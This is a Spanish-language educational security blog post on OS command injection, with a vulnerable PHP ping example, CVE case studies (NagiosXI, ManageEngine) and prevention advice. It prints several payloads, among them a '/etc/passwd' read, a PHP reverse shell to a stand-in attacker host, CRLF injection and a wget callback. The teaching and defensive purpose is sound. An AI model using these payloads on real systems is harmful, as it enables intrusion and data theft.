Fundamentos: inyección de comandos en el sistema operativo
Estrenamos la serie «Fundamentos»
Esta entrada es la primera de una serie en la que analizaremos los aspectos básicos de varios tipos de ataques y vulnerabilidades de las aplicaciones web. En cada entrada describiremos a fondo las vulnerabilidades, mostraremos cómo las aprovechan los atacantes, veremos ejemplos reales y explicaremos cómo se pueden evitar.
¿Qué se considera inyección de comandos en el sistema operativo?
La inyección de comandos en el sistema operativo es una vulnerabilidad de las aplicaciones web que facilita la ejecución de comandos arbitrarios en el sistema operativo subyacente. Estas vulnerabilidades tienen lugar cuando las aplicaciones web invocan comandos del sistema operativo con información introducida por un usuario como argumento.
Piensa en una aplicación web diseñada para supervisar sistemas internos y enviar alertas cuando uno de los sistemas quede fuera de línea: dicha aplicación puede querer comprobar si la red es capaz de alcanzar el destino con la ejecución de un comando de ping. Si la aplicación está escrita en PHP, el código subyacente será más o menos así:
$ip_address = $_GET["ip_address"])
$not_used = array();
$return_code = 0;
exec('ping -W 2 -c 1 ' . $ip_address, $not_used, $return_code)
La función de ejecución de PHP ejecutará el comando de ping con el valor de «ip_address» que haya proporcionado el usuario añadido al final como destino. Sin embargo, si un usuario proporciona localhost; cat /etc/passwd
como dirección IP, se ejecutarán tanto el comando de ping como el segundo comando iniciado después del punto y coma. Si esto ocurre, el atacante pasará a controlar la ejecución del comando y podrá ejecutar todos los comandos maliciosos con el objetivo de aumentar su acceso, conseguir información delicada, mantener la persistencia o moverse hacia otros objetivos de la red. Por sus consecuencias, a menudo devastadoras, las vulnerabilidades de inyección de comandos suelen considerarse de mayor gravedad que otras vulnerabilidades de las aplicaciones web.
¿Qué no se considera inyección de comandos en el sistema operativo?
La inyección de comandos se suele confundir con otros ataques de inyección, sobre todo la inyección de código. La manera más sencilla de distinguir entre ambas vulnerabilidades se basa en el método y el contexto de la ejecución de la carga útil:
Es sabido que la inyección de comandos se ejecuta en el contexto de los programas de shell del sistema operativo subyacente (p. ej., bash); más concretamente, en la llamada a un programa externo.
Por su parte, la inyección de código se ejecuta en el contexto del lenguaje de programación que se utilice, como ocurre con la inyección en la función «eval» o «include» de PHP y la ejecución de código PHP arbitrario.
Lo que suele confundir es cuando la carga útil de la inyección de comandos incluye código de lenguajes de programación como PHP. Por ejemplo, piensa en el uso de la siguiente carga útil en la inyección de comandos del ejemplo anterior, que iniciará un shell inverso:
localhost; php -r '$sock=fsockopen("attackers.ip.example.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Como la carga útil contiene, en gran parte, código PHP, a primera vista se puede confundir con una inyección de código, pero el principio de la carga útil delata que en realidad se trata de una inyección de comandos. El punto y coma termina el comando de bash actual, el ping, antes de que se ejecute el comando de PHP. «php -r» ejecuta el siguiente PHP en la línea de comandos, que en este caso es un shell inverso que redirige a la dirección IP del atacante. Por mucho que se ejecute código PHP en nuestra carga útil, se trata de una inyección de comandos en el sistema operativo porque estamos inyectando en los argumentos del programa de shell del sistema operativo.
Inyección de comandos del sistema operativo en el internet no controlado
Inyección de comandos del sistema operativo en NagiosXI: CVE-2021-25296(7,8)
Como explicamos en más detalle en nuestra investigación anterior, las versiones de NagiosXI entre la 5.5.6 y la 5.7.5 quedaron afectadas por tres incidentes distintos de inyección de comandos. Nuestro ejemplo anterior del ping, de hecho, se basa en CVE-2021-25298, cuya vulnerabilidad de inyección de comandos radicaba en una llamada al ping mediante la función «exec» de PHP con una dirección IP proporcionada por el usuario. Pese a que las puntuaciones del CVSS no son del todo rigurosas, estas vulnerabilidades alcanzan un 8,8 sobre 10, lo que demuestra sus graves consecuencias. En nuestra entrada, mostramos un uso práctico de estas vulnerabilidades iniciando los shells remotos de Meterpreter y devoluciones de llamada a interactsh de Project Discovery. Como ya indicó la CISA, los atacantes no dudan en aprovechar estas CVE en el internet no controlado, por lo que pueden acabar poniendo en peligro sistemas enteros.
Inyección de comandos del sistema operativo en ManageEngine ADManagerPlus: CVE-2023-29084
Esta vulnerabilidad concreta es un gran ejemplo de cómo no se previene un ataque de inyección de comandos. Dinh Hoang escribió un excelente artículo acerca de la vulnerabilidad; en concreto, explicó que ADManager Plus utiliza una función CommonUtil.getPowerShellEscapedValue
para eludir un valor de nombre de usuario y contraseña proporcionado por el usuario para un comando «reg add». No obstante, dicha función no elude caracteres CRLF, lo cual permite la inserción de la siguiente carga útil como contraseña y «launch calc»: [any-content]\r\ncalc.exe
. Como veremos más adelante, realizar este tipo de saneamiento de la entrada abre la puerta a errores, nuevas lagunas o metacaracteres pasados por alto que pueden dar pie a futuros ataques de inyección de comandos.
La inyección de comandos en el sistema operativo desde el punto de vista de los WAF
El WAF de última generación de Fastly protege contra ataques de inyección de comandos. Al examinar cargas útiles observadas de inyección de comandos, podemos ver qué es lo que envían los atacantes para así detectar vulnerabilidades de inyección de comandos en el sistema operativo.
Ejemplo de carga útil n.º 1: ping «sleep» en datos de petición POST
language=&ping -c 25 127.0.0.1 &
Esta carga útil es un intento bastante simple de inyectar comandos en el campo del lenguaje. Además, utiliza una técnica de inyección de comandos a ciegas al no depender de una respuesta del comando para detectar la inyección. En primer lugar, la carga útil utiliza el metacarácter «&» para ejecutar el segundo comando mientras el primero permanece en segundo plano. La carga útil contiene el comando del ping con la marca «-c», que indica al ping que envíe 25 paquetes, uno por segundo. Con un simple análisis del tiempo de la respuesta, un atacante puede determinar si se ejecutó el comando que inyectó. Esta técnica, sin embargo, puede fallar si la aplicación que recibe el ataque no espera a que el comando ejecutado complete la acción antes de enviar una respuesta HTTP. Veamos un ejemplo más interesante de una inyección de comandos a ciegas que no presenta esta limitación.
Ejemplo de carga útil n.º 2: wget en datos de petición POST
macAddress=112233445566;wget http://[redacted-subdomain].oast.site#
Esta carga útil se inyecta en el campo macAddress e incluye dos metacaracteres que contribuyen a la inyección de comandos. En primer lugar, el punto y coma marca el final del primer comando, de modo que se pueda lanzar el del atacante. Al final de la carga útil inyectada, este utiliza el metacarácter «#» como artimaña para que todo dato que siga quede como comentario. Esto resulta útil si el argumento objeto de la inyección no es el último del comando, puesto que cualquier argumento posterior se pasará por alto al tratarse de parte del comentario.
La sustancia de la carga útil reside en el comando wget, que invoca un subdominio de oast.site, uno de los dominios de devolución de llamada predeterminados que usa el interactsh de Project Discovery. OAST hace referencia a pruebas de seguridad de aplicaciones que se realizan fuera de banda, lo cual es posible gracias a interactsh, que utiliza cargas útiles y subdominios únicos para determinar si el ataque tuvo éxito. Hay otros dominios que utilizan interactsh y otras herramientas y que facilitan el mismo tipo de prueba, que ya habíamos observado.
Prevención de la inyección de comandos en el sistema operativo
Existen varias maneras de evitar la inyección de comandos en el sistema operativo, cada cual con sus ventajas e inconvenientes.
Solución ideal
No invoques jamás comandos del sistema operativo desde el código de la aplicación. Así, deja de haber comandos inyectados y, por tanto, se eliminan las vulnerabilidades de inyección de comandos en el sistema operativo. Es más seguro y preferible utilizar otros métodos para llevar a cabo las mismas acciones.
Solución alternativa
Si en tu entorno no se pueden evitar las llamadas a comandos del sistema operativo, es esencial contar con una estricta validación de la entrada para evitar vulnerabilidades de inyección de comandos en el sistema operativo. Conste que una estricta validación de la entrada no es lo mismo que un saneamiento de la entrada: la validación requiere que la entrada del usuario contenga solamente los valores que la aplicación puede pasar con seguridad a los comandos del sistema operativo. Estos son algunos ejemplos de una validación estricta de la entrada:
se valida que la entrada consta en una lista de valores permitidos;
se valida que la entrada es del tipo correcto (p. ej., un número entero o una dirección IP);
se valida que la entrada contiene solamente valores alfanuméricos.
Solución no recomendada
Si ninguna de estas opciones es factible, la última opción es sanear la entrada del usuario eludiendo los metacaracteres del shell, como pueden ser «&» o «;». Cuesta hacer que este saneamiento funcione correctamente por el número de maneras en que se pueden representar los metacaracteres o los pueden interpretar distintos sistemas operativos, además de las lagunas que presentan estos métodos. CVE-2023-29084 es un ejemplo idóneo de estos posibles problemas, dado que un metacarácter que se pasó por alto (CRLF) dio pie a una inyección de comandos. El saneamiento suele proteger contra las cargas útiles de inyección de comandos del sistema operativo menos ofensivas, pero no constituye una solución completa por lo difícil de implementar y lo fácil de burlar que resulta.
Bibliografía y lecturas adicionales
Lecturas adicionales:
Inyección de comandos CWE-77
Inyección de comandos en el sistema operativo CWE-78
Inyección de comandos (OWASP)
Laboratorios y material académico sobre seguridad web de Portswigger
Ejemplos:
Inyección de comandos del sistema operativo en NagiosXI (CVE-2021-25296, CVE-2021-25297, CVE-2021-25298)
Inyección de comandos del sistema operativo en ManageEngine AD Manager Plus (CVE-2023-29084)